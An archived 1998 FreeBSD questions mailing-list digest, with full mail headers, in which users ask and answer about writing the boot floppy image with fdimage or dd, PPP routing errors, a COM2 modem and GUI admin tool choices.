Apr 1998 13:18:36 PDT Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG To Whom It May Concern, I am trying to use FreeBSD but for some reason the install file won't fit on a disk. The disks are 3.5" and 1.44 meg disks but they all read 1.38 megs. I had friends try to see if they could do it, but they got the same problem. Please help me. Thank You. ______________________________________________________ Get Your Private, Free Email at http://www.hotmail.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 13:26:01 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id NAA01661 for freebsd-questions-outgoing; Fri, 10 Apr 1998 13:26:01 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from Kitten.mcs.com (Kitten.mcs.com [192.160.127.90]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id NAA01545 for ; Fri, 10 Apr 1998 13:25:42 -0700 (PDT) (envelope-from jrs@Venus.mcs.net) Received: from Venus.mcs.net (jrs@Venus.mcs.net [192.160.127.92]) by Kitten.mcs.com (8.8.7/8.8.2) with ESMTP id PAA15752 for ; Fri, 10 Apr 1998 15:25:40 -0500 (CDT) Received: from localhost (jrs@localhost) by Venus.mcs.net (8.8.7/8.8.2) with SMTP id PAA19850 for ; Fri, 10 Apr 1998 15:25:39 -0500 (CDT) Date: Fri, 10 Apr 1998 15:25:39 -0500 (CDT) From: "J.R.S. II" To: questions@FreeBSD.ORG Subject: where is fdimage Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I'm trying to download fdimage to make boot disk. It's not located on any ftp server I went to. Can you help me locate it?? JOHN To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 13:28:34 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id NAA02518 for freebsd-questions-outgoing; Fri, 10 Apr 1998 13:28:34 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from horton.iaces.com (horton.iaces.com [204.147.87.98]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id NAA02383 for ; Fri, 10 Apr 1998 13:28:10 -0700 (PDT) (envelope-from proot@horton.iaces.com) Received: (from proot@localhost) by horton.iaces.com (8.8.7/8.8.7) id PAA22188; Fri, 10 Apr 1998 15:27:33 -0500 (CDT) From: "Paul T. Root" Message-Id: <199804102027.PAA22188@horton.iaces.com> Subject: Re: Problem To: rebel2000@hotmail.com (Doug Rebel) Date: Fri, 10 Apr 1998 15:27:33 -0500 (CDT) Cc: freebsd-questions@FreeBSD.ORG In-Reply-To: <19980410201838.20202.qmail@hotmail.com> from Doug Rebel at "Apr 10, 98 01:18:36 pm" X-Organization: USWEST !nterprise Networking - ACES X-Phone: (612) 664-3385 X-Fax: (612) 664-4779 X-Page: (800) SKY-PAGE PIN: 537-7270 X-Address: 600 Stinson Blvd, Fl 1S X-Address: Minneapolis, MN 55413 X-Mailer: ELM [version 2.4ME+ PL22 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In a previous message, Doug Rebel said: > To Whom It May Concern, > I am trying to use FreeBSD but for some reason the install file > won't fit on a disk. The disks are 3.5" and 1.44 meg disks but they all > read 1.38 megs. I had friends try to see if they could do it, but they > got the same problem. Please help me. Thank You. The boot.flp image is not a DOS formatted image. It uses the entire disk. You need to get the fdimage.exe utility in the tools directory to create the boot floppy. Please read the install instructions. -- Safe activities are ones in which you can't get hurt even if you don't take care of yourself. Video games are safe. Skydiving is a dangerous sport which can be done safely. --Robert Church To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 13:28:43 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id NAA02554 for freebsd-questions-outgoing; Fri, 10 Apr 1998 13:28:43 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from voicenet.com (mail11.voicenet.com [207.103.0.37]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id NAA02408 for ; Fri, 10 Apr 1998 13:28:13 -0700 (PDT) (envelope-from schwenk@voicenet.com) Received: (qmail 5091 invoked from network); 10 Apr 1998 20:28:04 -0000 Received: from omni1.voicenet.com (207.103.0.31) by mail11.voicenet.com with SMTP; 10 Apr 1998 20:28:04 -0000 Received: (qmail 22831 invoked by uid 14559); 10 Apr 1998 20:28:03 -0000 Date: Fri, 10 Apr 1998 16:28:02 -0400 (EDT) From: Peter Schwenk X-Sender: schwenk@omni1 To: Jim Hall cc: freebsd-questions@FreeBSD.ORG Subject: Re: Problem In-Reply-To: <000701bd64b7$189bd320$0ce7f2cd@farside.iland.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG The file that you downloaded, probably called "boot.flp", is a floppy image file. This file, byte for byte, represents a boot floppy but cannot just be copied onto a floppy disk as a file. See http://www.freebsd.org/handbook/handbook7.html#7 for instructions on what to do with the boot.flp file. It explains it better than I could. On Fri, 10 Apr 1998, Jim Hall wrote: > To Whom It May Concern, > I am trying to get freebsd but i downloaded the install file that > you are supposed to but up with and that won't fit on a disk. I have > 1.44 meg disks, but they all read 1.38megs. I have friends that have > tried also and had the same problem. Please help me!!!. > Thank You > - Peter Schwenk - schwenk@voicenet.com - - Running FreeBSD? You should be. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 13:33:26 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id NAA03760 for freebsd-questions-outgoing; Fri, 10 Apr 1998 13:33:26 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from federation.addy.com (federation.addy.com [207.239.68.2]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id NAA03646 for ; Fri, 10 Apr 1998 13:32:49 -0700 (PDT) (envelope-from fbsdlist@federation.addy.com) Received: from localhost (fbsdlist@localhost) by federation.addy.com (8.8.5/8.6.12) with SMTP id QAA17927; Fri, 10 Apr 1998 16:32:37 -0400 (EDT) Date: Fri, 10 Apr 1998 16:32:37 -0400 (EDT) From: Cliff Addy To: Doug Rebel cc: freebsd-questions@FreeBSD.ORG Subject: Re: Problem In-Reply-To: <19980410201838.20202.qmail@hotmail.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, 10 Apr 1998, Doug Rebel wrote: > To Whom It May Concern, > I am trying to use FreeBSD but for some reason the install file > won't fit on a disk. The disks are 3.5" and 1.44 meg disks but they all > read 1.38 megs. I had friends try to see if they could do it, but they > got the same problem. Please help me. Thank You. I see this all the time on pre-formatted disks (anyone know why?). Not being a DOS weenie, I don't remember the exact syntax, but just reformat it without the format recovery turned on and without system files. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 13:36:06 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id NAA04340 for freebsd-questions-outgoing; Fri, 10 Apr 1998 13:36:06 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from horton.iaces.com (horton.iaces.com [204.147.87.98]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id NAA03951 for ; Fri, 10 Apr 1998 13:34:18 -0700 (PDT) (envelope-from proot@horton.iaces.com) Received: (from proot@localhost) by horton.iaces.com (8.8.7/8.8.7) id PAA22224; Fri, 10 Apr 1998 15:33:10 -0500 (CDT) From: "Paul T. Root" Message-Id: <199804102033.PAA22224@horton.iaces.com> Subject: Re: where is fdimage To: jrs@Mcs.Net (J.R.S. II) Date: Fri, 10 Apr 1998 15:33:10 -0500 (CDT) Cc: questions@FreeBSD.ORG In-Reply-To: from "J.R.S. II" at "Apr 10, 98 03:25:39 pm" X-Organization: USWEST !nterprise Networking - ACES X-Phone: (612) 664-3385 X-Fax: (612) 664-4779 X-Page: (800) SKY-PAGE PIN: 537-7270 X-Address: 600 Stinson Blvd, Fl 1S X-Address: Minneapolis, MN 55413 X-Mailer: ELM [version 2.4ME+ PL22 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In a previous message, J.R.S. II said: > I'm trying to download fdimage to make boot disk. It's not located on any > ftp server I went to. Can you help me locate it?? It is in the tools directory. fdimage.exe > ls 00_index.txt* ckdist.man* fips.exe* osbs135.exe* restorrb.exe* README* dist/ fips15c.tar.gz* osbsbeta.exe* setup.exe* boot.bin* extipl.exe* gunzip.exe* pfdisk.exe* setup.hlp* bootinst.exe* fbsdboot.exe* gzip.exe* presizer/ srcs/ ckdist.exe* fdimage.exe* ide_conf.exe* rawrite.exe* > pwd Current remote directory: /archive2/FreeBSD/tools ftp2.freebsd.org /archive2/FreeBSD/tools ftp2> -- If riding in an airplane is flying, then riding in a boat is swimming. If you want to experience the element, get out of the vehicle. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 13:41:41 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id NAA05464 for freebsd-questions-outgoing; Fri, 10 Apr 1998 13:41:41 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from ix.netcom.com (sil-wa2-23.ix.netcom.com [206.214.137.55]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id NAA05153 for ; Fri, 10 Apr 1998 13:40:02 -0700 (PDT) (envelope-from tomdean@ix.netcom.com) Received: (from tomdean@localhost) by ix.netcom.com (8.8.8/8.8.8) id NAA03104; Fri, 10 Apr 1998 13:37:10 -0700 (PDT) (envelope-from tomdean) Date: Fri, 10 Apr 1998 13:37:10 -0700 (PDT) Message-Id: <199804102037.NAA03104@ix.netcom.com> From: Thomas Dean To: bob.webb@snyder.com CC: freebsd-questions@FreeBSD.ORG In-reply-to: <3D6B6B730CA4D11187CC00805FEAF49E1DCE15@BETHHQMAIL> (message from Bob Webb on Fri, 10 Apr 1998 14:51:11 -0400) Subject: Re: NIST Time Utility Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Look at ntpdate. man ntpdate or apropos ntp To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 13:51:11 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id NAA07725 for freebsd-questions-outgoing; Fri, 10 Apr 1998 13:51:11 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from sasami.jurai.net (winter@sasami.jurai.net [207.153.65.3]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id NAA07602; Fri, 10 Apr 1998 13:50:37 -0700 (PDT) (envelope-from winter@jurai.net) Received: from localhost (winter@localhost) by sasami.jurai.net (8.8.8/8.8.7) with SMTP id QAA09467; Fri, 10 Apr 1998 16:50:01 -0400 (EDT) Date: Fri, 10 Apr 1998 16:50:00 -0400 (EDT) From: "Matthew N. Dodd" To: rssh@grad.kiev.ua cc: Derek Laufenberg , hackers@FreeBSD.ORG, freebsd-questions@FreeBSD.ORG Subject: Re: Fw: Your Article "Freeware: The Heart & Soul of the Internet" In-Reply-To: <352E7819.90A039CA@Shevchenko.Kiev.UA> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, 10 Apr 1998, Ruslan Shevchenko wrote: > Derek Laufenberg wrote: > > 4) GUI admin tools - adduser, backup, DNS for weenies, ... > > (i've seen some talk, but they need to be incorporated like AIX or > > Slowaris) > it means, that base OS must include: 1. X11 > 2. tk > 3. tkperl. > 4. local WWW server. > > Or most of this tools must be rewriteln. Anyone who is interested in writing GUI apps but is annoyed with TK should check out the Perl bindings for GTK. Its -slick-. http://www.gtk.org/ /* Matthew N. Dodd | A memory retaining a love you had for life winter@jurai.net | As cruel as it seems nothing ever seems to http://www.jurai.net/~winter | go right - FLA M 3.1:53 */ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 13:52:31 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id NAA08062 for freebsd-questions-outgoing; Fri, 10 Apr 1998 13:52:31 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from ix.netcom.com (sil-wa2-23.ix.netcom.com [206.214.137.55]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id NAA07867 for ; Fri, 10 Apr 1998 13:51:39 -0700 (PDT) (envelope-from tomdean@ix.netcom.com) Received: (from tomdean@localhost) by ix.netcom.com (8.8.8/8.8.8) id NAA03155; Fri, 10 Apr 1998 13:51:14 -0700 (PDT) (envelope-from tomdean) Date: Fri, 10 Apr 1998 13:51:14 -0700 (PDT) Message-Id: <199804102051.NAA03155@ix.netcom.com> From: Thomas Dean To: farside@iland.net CC: freebsd-questions@FreeBSD.ORG In-reply-to: <000701bd64b7$189bd320$0ce7f2cd@farside.iland.net> Subject: Re: Problem Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Look at the instructions on the web site. If you have the CDROM, look at floppies/README.TXT on the cdrom. The file you are talking about is a FLOPPY DISK IMAGE! The file MUST be downloaded as a BINARY file. The file MUST be written to floppy with a tool like fdimage.exe or rawrite.exe. fdimage.exe is preferred. A word of advice, be sure to get INSTALL.TXT, HARDWARE.TXT, and, possibly RELNOTES.TXT from the distribution site BEFORE you start. READ THESE FILES VERY, VERY CAREFULLY BEFORE YOU BEGIN. The installation is fairly easy, ONCE YOU READ THE INSTRUCTIONS! Good luck. Here is floppies/README.TXT: ==================================== For a normal CDROM or network installation, all you need to copy onto an actual floppy from this directory is the boot.flp image (for 1.44MB floppies). NOTE: These images are NOT DOS files! You cannot simply copy them to a DOS floppy as regular files, you need to *image* copy them to the floppy with fdimage.exe under DOS or `dd' under UNIX. For example: To create the boot floppy image from DOS, you'd do something like this: C> fdimage boot.flp a: Assuming that you'd copied fdimage.exe and boot.flp into a directory somewhere. If you were doing this from the base of a CD distribution, then the *exact* command would be: E> tools\fdimage floppies\boot.flp a: If you're creating the boot floppy from a UNIX machine, you may find that: dd if=floppies/boot.flp of=/dev/rfd0 or dd if=floppies/boot.flp of=/dev/floppy work well, depending on your hardware and operating system environment (different versions of UNIX have totally different names for the floppy drive - neat, huh? :-). To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 14:05:42 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id OAA11547 for freebsd-questions-outgoing; Fri, 10 Apr 1998 14:05:42 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from dingo.cdrom.com (dingo.cdrom.com [204.216.28.145]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id OAA11432; Fri, 10 Apr 1998 14:05:11 -0700 (PDT) (envelope-from mike@dingo.cdrom.com) Received: from dingo.cdrom.com (localhost [127.0.0.1]) by dingo.cdrom.com (8.8.8/8.8.5) with ESMTP id OAA01152; Fri, 10 Apr 1998 14:01:53 -0700 (PDT) Message-Id: <199804102101.OAA01152@dingo.cdrom.com> X-Mailer: exmh version 2.0zeta 7/24/97 To: "Matthew N. Dodd" cc: chat@FreeBSD.ORG, freebsd-questions@FreeBSD.ORG Subject: Re: Fw: Your Article "Freeware: The Heart & Soul of the Internet" In-reply-to: Your message of "Fri, 10 Apr 1998 16:50:00 EDT." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Fri, 10 Apr 1998 14:01:53 -0700 From: Mike Smith Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > > Anyone who is interested in writing GUI apps but is annoyed with TK should > check out the Perl bindings for GTK. Its -slick-. In comparison to the tk bindings for Perl, that's not hard. Tk works better with Tcl, for obvious reasons. -- \\ Sometimes you're ahead, \\ Mike Smith \\ sometimes you're behind. \\ mike@smith.net.au \\ The race is long, and in the \\ msmith@freebsd.org \\ end it's only with yourself. \\ msmith@cdrom.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 14:07:36 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id OAA12072 for freebsd-questions-outgoing; Fri, 10 Apr 1998 14:07:36 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from rah.star-gate.com (rah.star-gate.com [209.133.7.234]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id OAA11890; Fri, 10 Apr 1998 14:06:52 -0700 (PDT) (envelope-from hasty@rah.star-gate.com) Received: from rah.star-gate.com (localhost.star-gate.com [127.0.0.1]) by rah.star-gate.com (8.8.8/8.8.8) with ESMTP id OAA14619; Fri, 10 Apr 1998 14:05:59 -0700 (PDT) (envelope-from hasty@rah.star-gate.com) Message-Id: <199804102105.OAA14619@rah.star-gate.com> X-Mailer: exmh version 2.0.2 2/24/98 To: "Matthew N. Dodd" cc: rssh@grad.kiev.ua, Derek Laufenberg , hackers@FreeBSD.ORG, freebsd-questions@FreeBSD.ORG Subject: Re: Fw: Your Article "Freeware: The Heart & Soul of the Internet" In-reply-to: Your message of "Fri, 10 Apr 1998 16:50:00 EDT." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Fri, 10 Apr 1998 14:05:59 -0700 From: Amancio Hasty Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Just do Java.... The jdk is available at http://www.freebsd.org/java Use whatever Java IDE tool you like be it in Win95 , SunOS , FreeBSD. I recently posted how to get Java Workshop 2.0 running on FreeBSD. There is also a JACE a java version of the C++ library ACE, Adaptive Communication Environment. Has anyone played with IBM's SanFrancisco ? it is large java class package oriented for business applications. Track inventories, sales invoice,etc.. Amancio > On Fri, 10 Apr 1998, Ruslan Shevchenko wrote: > > Derek Laufenberg wrote: > > > 4) GUI admin tools - adduser, backup, DNS for weenies, ... > > > (i've seen some talk, but they need to be incorporated like AIX or > > > Slowaris) > > it means, that base OS must include: 1. X11 > > 2. tk > > 3. tkperl. > > 4. local WWW server. > > > > Or most of this tools must be rewriteln. > > Anyone who is interested in writing GUI apps but is annoyed with TK should > check out the Perl bindings for GTK. Its -slick-. > > http://www.gtk.org/ > > /* > Matthew N. Dodd | A memory retaining a love you had for life > winter@jurai.net | As cruel as it seems nothing ever seems to > http://www.jurai.net/~winter | go right - FLA M 3.1:53 > */ > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-hackers" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 14:11:04 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id OAA13221 for freebsd-questions-outgoing; Fri, 10 Apr 1998 14:11:04 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from mail.impulse.net (mail.impulse.net [204.188.6.10]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id OAA13103 for ; Fri, 10 Apr 1998 14:10:23 -0700 (PDT) (envelope-from mike@merchantsnet.com) Received: (qmail 28847 invoked from network); 10 Apr 1998 21:10:18 -0000 Received: from sb1-77.impulse.net (HELO 708644668) (204.188.6.77) by mail.impulse.net with SMTP; 10 Apr 1998 21:10:18 -0000 From: "Michael P. Sale" To: "Brian Somers" Cc: Subject: Re: PPP frustrations!! Date: Fri, 10 Apr 1998 14:04:13 -0700 Message-ID: <01bd64c4$375dbe60$3406bccc@708644668> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 4.71.1712.3 X-MimeOLE: Produced By Microsoft MimeOLE V4.71.1712.3 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG After more playing, I noticed a strange error on boot up that makes me think that this may not be a ppp problem. The error can be duplicated if I try to add a route: # route add default x.x.x.x writing to routing socket: Network is unreachable add net default: gateway x.x.x.x: Network is unreachable I see the same errors on boot-up. Before now, they were not there. Thanks, Mike ---------------------------------------------- Michael P. Sale MerchantsNet.Com mike@merchantsnet.com www.merchantsnet.com ---------------------------------------------- "Humility has no equal in the battle for knowledge" -- -----Original Message----- From: Brian Somers To: Michael P. Sale Cc: freebsd-questions@freebsd.org Date: Friday, April 10, 1998 1:05 PM Subject: Re: PPP frustrations!! >> Hi all, >> >> Thanks to all that sent a few things my way. I had managed to get ppp >> working to the point where it would place the call and connect using AP( I >> love the ppp.log file). I was still having trouble getting routing working, >> but thats the next email. :-) >> >> So, last night, ppp is connecting and PAP seems to be working fine. After >> doing a manual >> >> # route delete default >> >> # route add default >> >> I could ping to my hearts content. (DNS awaits too) >> >> I get up this morning, ready to tackle routing and DNS and what happens: >> >> # ppp >> User Process PPP. Written by Toshiharu OHNO. >> OpenTunnel: Can't find ifindex. >> open_tun: No such file or directory >[.....] > >Could you try the ppp on http://www.FreeBSD.org/~brian and see if >you have the same problem ? Thanks. > >> Thanks, >> >> Mike >> >> ---------------------------------------------- >> Michael P. Sale >> MerchantsNet.Com >> mike@merchantsnet.com >> www.merchantsnet.com >> ---------------------------------------------- >> "Humility has no equal in the >> battle for knowledge" >> -- > >-- >Brian , , > >Don't _EVER_ lose your sense of humour.... > > > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 14:11:47 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id OAA13409 for freebsd-questions-outgoing; Fri, 10 Apr 1998 14:11:47 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from sasami.jurai.net (winter@sasami.jurai.net [207.153.65.3]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id OAA13241; Fri, 10 Apr 1998 14:11:04 -0700 (PDT) (envelope-from winter@jurai.net) Received: from localhost (winter@localhost) by sasami.jurai.net (8.8.8/8.8.7) with SMTP id RAA09841; Fri, 10 Apr 1998 17:10:16 -0400 (EDT) Date: Fri, 10 Apr 1998 17:10:15 -0400 (EDT) From: "Matthew N. Dodd" To: Amancio Hasty cc: rssh@grad.kiev.ua, Derek Laufenberg , hackers@FreeBSD.ORG, freebsd-questions@FreeBSD.ORG Subject: Re: Fw: Your Article "Freeware: The Heart & Soul of the Internet" In-Reply-To: <199804102105.OAA14619@rah.star-gate.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, 10 Apr 1998, Amancio Hasty wrote: > Just do Java.... I believe the context was System Administration front end tools. Why use Java for that? The Perl/GTK stuff has got to be lighter weight/faster. :) And its Perl. :) > > The jdk is available at http://www.freebsd.org/java > > Use whatever Java IDE tool you like be it in Win95 , SunOS , FreeBSD. > > I recently posted how to get Java Workshop 2.0 running on FreeBSD. > > There is also a JACE a java version of the C++ library ACE, Adaptive > Communication Environment. > > Has anyone played with IBM's SanFrancisco ? it is large java class package > oriented for business applications. Track inventories, sales invoice,etc.. > > > > Amancio > > On Fri, 10 Apr 1998, Ruslan Shevchenko wrote: > > > Derek Laufenberg wrote: > > > > 4) GUI admin tools - adduser, backup, DNS for weenies, ... > > > > (i've seen some talk, but they need to be incorporated like AIX or > > > > Slowaris) > > > it means, that base OS must include: 1. X11 > > > 2. tk > > > 3. tkperl. > > > 4. local WWW server. > > > > > > Or most of this tools must be rewriteln. > > > > Anyone who is interested in writing GUI apps but is annoyed with TK should > > check out the Perl bindings for GTK. Its -slick-. > > > > http://www.gtk.org/ > > > > /* > > Matthew N. Dodd | A memory retaining a love you had for life > > winter@jurai.net | As cruel as it seems nothing ever seems to > > http://www.jurai.net/~winter | go right - FLA M 3.1:53 > > */ > > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > > with "unsubscribe freebsd-hackers" in the body of the message > > > > /* Matthew N. Dodd | A memory retaining a love you had for life winter@jurai.net | As cruel as it seems nothing ever seems to http://www.jurai.net/~winter | go right - FLA M 3.1:53 */ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 14:12:46 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id OAA13768 for freebsd-questions-outgoing; Fri, 10 Apr 1998 14:12:46 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from ns.mt.sri.com (sri-gw.MT.net [206.127.105.141]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id OAA13593; Fri, 10 Apr 1998 14:12:11 -0700 (PDT) (envelope-from nate@mt.sri.com) Received: from mt.sri.com (rocky.mt.sri.com [206.127.76.100]) by ns.mt.sri.com (8.8.8/8.8.8) with SMTP id PAA03266; Fri, 10 Apr 1998 15:12:01 -0600 (MDT) (envelope-from nate@rocky.mt.sri.com) Received: by mt.sri.com (SMI-8.6/SMI-SVR4) id PAA21255; Fri, 10 Apr 1998 15:11:58 -0600 Date: Fri, 10 Apr 1998 15:11:58 -0600 Message-Id: <199804102111.PAA21255@mt.sri.com> From: Nate Williams MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit To: Giao Nguyen Cc: Derek Laufenberg , hackers@FreeBSD.ORG, freebsd-questions@FreeBSD.ORG Subject: Re: Fw: Your Article "Freeware: The Heart & Soul of the Internet" In-Reply-To: <19980410130143.40104@calweb.com> References: <19980410130143.40104@calweb.com> X-Mailer: VM 6.29 under 19.15 XEmacs Lucid Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > Now, if only we could deliver the JDK on the CD's. I could whip up a > Java based set of tools in no time. I don't know if the current JDK > license allows Walnut Creek to do this. They can include the JRE on the CD, and we even have one for you to use. (Legally, with absolutely no problem.) We can even bundle it with the base OS *except* for the requirement that anything in the base OS must be compiled from source (a requirement I agree with), and that isn't going to happen anytime in the near future. :( Nate To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 14:17:28 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id OAA15168 for freebsd-questions-outgoing; Fri, 10 Apr 1998 14:17:28 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from svr-a-04.core.theplanet.net (svr-a-04.core.theplanet.net [194.152.65.204]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id OAA14870 for ; Fri, 10 Apr 1998 14:16:26 -0700 (PDT) (envelope-from ns@lynsys.karoo.co.uk) Received: from [195.92.234.167] (helo=default) by svr-a-04.core.theplanet.net with smtp (Exim 1.891 #3) for freebsd-questions@FreeBSD.ORG id 0yNl9h-0005dI-00; Fri, 10 Apr 1998 22:16:14 +0100 Message-ID: <000101bd64c6$25a95b00$a7ea5cc3@default> From: "Norman Sellers" To: Subject: FeeBSD 2.2.6 Install Date: Fri, 10 Apr 1998 22:17:58 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 4.72.2106.4 X-MimeOLE: Produced By Microsoft MimeOLE V4.72.2106.4 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi FreeBSD, I have recently come across FreeBSD and I thought I would like to try it and see what it's all about. Accordingly I have downloaded the Boot Disk Image file and created the floppy. However, when I try to install using PPP dialup acces to my ISP I only have access to COM1 (0x3f8 IRQ 4). Unfortunately I have an internal modem which uses COM2 (0x2f8 IRQ 3) and COM2 is not available as an option to use for PPP. I have noticed that when the system boots and probes my hardware that I get the message si02 not found. Can you offer any help or assistance with this problem. Regards Norman Sellers ns@lynsys.karoo.co.uk To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 15:12:04 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id PAA25167 for freebsd-questions-outgoing; Fri, 10 Apr 1998 15:12:04 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from rah.star-gate.com (rah.star-gate.com [209.133.7.234]) by 